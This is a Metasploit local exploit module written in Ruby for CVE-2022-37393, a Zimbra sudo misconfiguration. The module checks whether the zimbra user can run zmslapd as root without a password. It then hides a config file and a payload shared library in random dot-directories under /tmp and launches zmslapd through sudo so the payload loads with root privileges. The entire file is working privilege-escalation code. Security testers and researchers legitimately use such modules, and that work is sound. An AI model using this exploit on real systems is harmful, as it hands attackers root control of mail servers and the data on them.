## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Compile include Msf::Post::Linux::Kernel include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Zimbra zmslapd arbitrary module load', 'Description' => %q{ This module exploits CVE-2022-37393, which is a vulnerability in Zimbra's sudo configuration that permits the zimbra user to execute the zmslapd binary as root with arbitrary parameters. As part of its intended functionality, zmslapd can load a user-defined configuration file, which includes plugins in the form of .so files, which also execute as root. }, 'License' => MSF_LICENSE, 'Author' => [ 'Darren Martyn', # discovery and poc 'Ron Bowes', # Module ], 'DisclosureDate' => '2021-10-27', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Privileged' => true, 'References' => [ [ 'CVE', '2022-37393' ], [ 'URL', 'https://darrenmartyn.ie/2021/10/27/zimbra-zmslapd-local-root-exploit/' ], ], 'Targets' => [ [ 'Auto', {} ], ], 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ IOC_IN_LOGS ] } ) ) register_options [ OptString.new('SUDO_PATH', [ true, 'Path to sudo executable', 'sudo' ]), OptString.new('ZIMBRA_BASE', [ true, "Zimbra's installation directory", '/opt/zimbra' ]), ] register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end # Because this isn't patched, I can't say with 100% certainty that this will # detect a future patch (it depends on how they patch it) def check # Sanity check if is_root? fail_with(Failure::None, 'Session already has root privileges') end unless file_exist?("#{datastore['ZIMBRA_BASE']}/libexec/zmslapd") print_error("zmslapd executable not detected: #{datastore['ZIMBRA_BASE']}/libexec/zmslapd (set ZIMBRA_BASE if Zimbra is installed in an unusual location)") return CheckCode::Safe end unless command_exists?(datastore['SUDO_PATH']) print_error("Could not find sudo: #{datastore['SUDOPATH']} (set SUDO_PATH if sudo isn't in $PATH)") return CheckCode::Safe end # Run `sudo -n -l` to make sure we have access to the target command cmd = "#{datastore['SUDO_PATH']} -n -l" print_status "Executing: #{cmd}" output = cmd_exec(cmd).to_s if !output || output.start_with?('usage:') || output.include?('illegal option') || output.include?('a password is required') print_error('Current user could not execute sudo -l') return CheckCode::Safe end if !output.include?("(root) NOPASSWD: #{datastore['ZIMBRA_BASE']}/libexec/zmslapd") print_error('Current user does not have access to run zmslapd') return CheckCode::Safe end CheckCode::Appears end def exploit base_dir = datastore['WritableDir'].to_s unless writable?(base_dir) fail_with(Failure::BadConfig, "#{base_dir} is not writable") end # Generate a random directory exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" if file_exist?(exploit_dir) fail_with(Failure::BadConfig, 'Exploit dir already exists') end # Create the directory and get ready to remove it print_status("Creating exploit directory: #{exploit_dir}") mkdir(exploit_dir) register_dir_for_cleanup(exploit_dir) # Generate some filenames library_name = ".#{rand_text_alphanumeric(5..10)}.so" library_path = "#{exploit_dir}/#{library_name}" config_name = ".#{rand_text_alphanumeric(5..10)}" config_path = "#{exploit_dir}/#{config_name}" # Create the .conf file config = "modulepath #{exploit_dir}\nmoduleload #{library_name}\n" write_file(config_path, config) write_file(library_path, generate_payload_dll) cmd = "sudo #{datastore['ZIMBRA_BASE']}/libexec/zmslapd -u root -g root -f #{config_path}" print_status "Attempting to trigger payload: #{cmd}" out = cmd_exec(cmd) unless session_created? print_error("Failed to create session! Cmd output = #{out}") end end end